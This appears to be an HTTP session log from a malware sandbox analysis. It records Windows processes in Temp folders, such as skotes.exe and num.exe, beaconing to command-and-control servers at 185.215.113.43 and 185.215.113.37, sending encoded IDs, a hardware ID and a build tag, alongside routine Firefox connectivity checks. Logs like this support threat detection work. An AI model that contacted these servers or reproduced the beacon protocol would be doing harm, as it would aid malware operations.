Oct 24, 2024 08:38:42.154017925 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 08:38:42.758034945 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 63897 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	61041	34.107.221.82	80	5040	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:43.263732910 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 08:38:43.870698929 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 63898 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 08:38:53.874936104 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	61042	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:44.496023893 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 08:38:45.414767027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	61043	34.107.221.82	80	5040	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:44.544917107 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:38:45.131844044 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 51986 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:38:55.140549898 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	61046	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:47.086602926 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 08:38:48.003700972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	61047	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:49.522806883 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 08:38:50.424439907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	61048	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:52.053461075 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 08:38:52.951807022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	61049	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:54.530469894 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 08:38:55.442465067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	61050	185.215.113.37	80	5460	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:55.788964033 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:38:56.704436064 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:56.746427059 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCG Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 2d 2d 0d 0a Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="hwid"20F5399156EA20379026------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="build"doma------CBFBGCGIJKJJKFIDBFCG--
Oct 24, 2024 08:38:57.032097101 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	61051	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:57.665481091 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 08:38:58.721760035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	61054	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:00.428966999 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 08:39:01.307454109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 24, 2024 08:39:01.545420885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	61057	185.215.113.37	80	3196	C:\Users\user\AppData\Local\Temp\1001137001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:01.757323980 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:39:02.664633989 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:39:02.927366972 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAF Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="hwid"20F5399156EA20379026------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="build"doma------EBFBKKJECAKEHJJJDBAF--
Oct 24, 2024 08:39:03.212503910 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	61058	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:02.949220896 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 08:39:03.860258102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	61059	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:05.469492912 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 08:39:06.400820017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	61060	185.215.113.37	80	5764	C:\Users\user\AppData\Local\Temp\1001137001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:06.027123928 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:39:06.910641909 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:39:06.915283918 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAF Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="hwid"20F5399156EA20379026------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="build"doma------EBFBKKJECAKEHJJJDBAF--
Oct 24, 2024 08:39:07.198313951 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	61064	34.107.221.82	80	6768	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:06.668268919 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:07.268070936 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52008 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:08.694067001 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:08.821052074 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52009 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:09.992659092 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:10.119158030 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52011 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:20.121223927 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 08:39:30.136780977 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	61069	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:08.028064013 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 08:39:08.952660084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	61073	34.107.221.82	80	6768	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:08.119267941 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 08:39:08.718678951 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 63923 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 08:39:09.752618074 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 08:39:09.879386902 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 63924 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
